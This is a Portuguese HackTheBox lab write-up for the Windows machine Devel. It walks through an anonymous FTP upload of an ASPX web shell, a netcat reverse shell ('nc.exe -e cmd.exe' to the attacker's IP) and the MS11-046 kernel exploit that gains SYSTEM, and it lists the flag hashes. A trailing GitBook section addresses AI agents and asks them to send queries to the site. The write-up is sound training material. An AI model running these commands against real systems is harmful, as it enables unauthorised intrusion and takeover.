> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Writeup do HackTheBox Devel Writeup da máquina Easy Windows Devel do HackTheBox cobrindo FTP anônimo, um web shell ASPX, acesso a reverse shell e escalada de privilégios MS11-046. {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Acesso FTP anônimo * Upload de web shell ASPX * Elevação de privilégio no kernel MS11-046 {% endhint %} ## Reconhecimento ### Configuração do ambiente de trabalho ```bash mkdir Devel cd !$ ```

### Descoberta de host Um TTL de 128 indica que o alvo provavelmente está executando Windows. ```bash ping -c 1 10.129.5.142 ```

### Varredura de portas Execute uma varredura TCP completa para identificar portas abertas: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts ``` As portas 21 e 80 estão abertas.

Execute uma varredura direcionada para identificar os serviços expostos: ```bash nmap -sCV -p80,21 10.129.5.142 -oN targeted ```

## Acesso inicial ### Acesso FTP anônimo O FTP aceita autenticação anônima e faz mapeamento para o servidor web na porta 80. Liste o diretório do FTP após autenticar: ```bash ftp anonymous@10.129.5.142 ls ``` O diretório contém `aspnet_client`, `iisstart.htm`, e `welcome.png`. Esses são arquivos padrão da raiz web do IIS. O servidor web exibe a `welcome.png` imagem padrão.

Crie um arquivo de teste localmente e faça o upload para verificar as permissões de gravação: ```bash echo test > test.txt put test.txt ``` O upload é bem-sucedido. Acessar `http://10.129.5.142/test.txt` confirma que os uploads via FTP são servidos pelo IIS.

### web shell ASPX {% embed url="" %} Baixe a web shell ASPX: ```bash wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx ``` Faça o upload dela via FTP: ```bash put aspx_cmd.aspx ```

Abrir `http://10.129.5.142/aspx_cmd.aspx` para executar comandos. A web shell fornece execução remota de comandos: ```bash whoami iis apppool\web ```

### Shell reverso Copiar `nc.exe` para o diretório atual. Este binário cria o shell interativo do Windows: ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` Inicie um servidor SMB para compartilhar o executável: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Inicie um listener na porta 4444: ```bash sudo rlwrap nc -nvlp 4444 ``` Execute estes comandos por meio da web shell. O primeiro comando copia o Netcat do compartilhamento SMB. O segundo se conecta de volta ao listener: ```bash copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444 ```

O shell é executado como `iis apppool\web`. Essa conta tem privilégios limitados. ## Escalada de privilégios ### Informações do sistema ```bash systeminfo ``` Isso revela a versão do Windows e detalhes do sistema.

O alvo executa o Windows 7 Enterprise. ### MS11-046 `systeminfo` identifica o Windows 7 Enterprise, compilação `7600`. Esta versão sem patch é candidata a exploits locais de kernel conhecidos. MS11-046 é uma vulnerabilidade local de elevação de privilégios. Ela precisa de execução de código já existente no host. Ela não explora o SMB remotamente. Use o exploit de kernel MS11-046: {% embed url="" %} Clone o repositório do exploit: ```bash git clone https://github.com/SecWiki/windows-kernel-exploits ``` Vá para o diretório do exploit: ```bash cd windows-kernel-exploits/MS11-046 ``` Compartilhe o executável com o alvo via SMB: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Copie o executável do shell do Windows para um diretório gravável: ```bash copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe ```

Confirme o usuário atual e, em seguida, execute o exploit: ```bash whoami iis apppool\web ``` ```bash .\ms11-046.exe ``` O exploit retorna um `NT AUTHORITY\SYSTEM` shell: ```bash whoami nt authority\system ```

## Flags ```bash type c:\Users\babis\Desktop\user.txt 0efea4c5e140c594ce1ca88594b3d7dc type c:\Users\Administrator\Desktop\root.txt 3d360ef3c74b5936a51971a8f7383c11 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.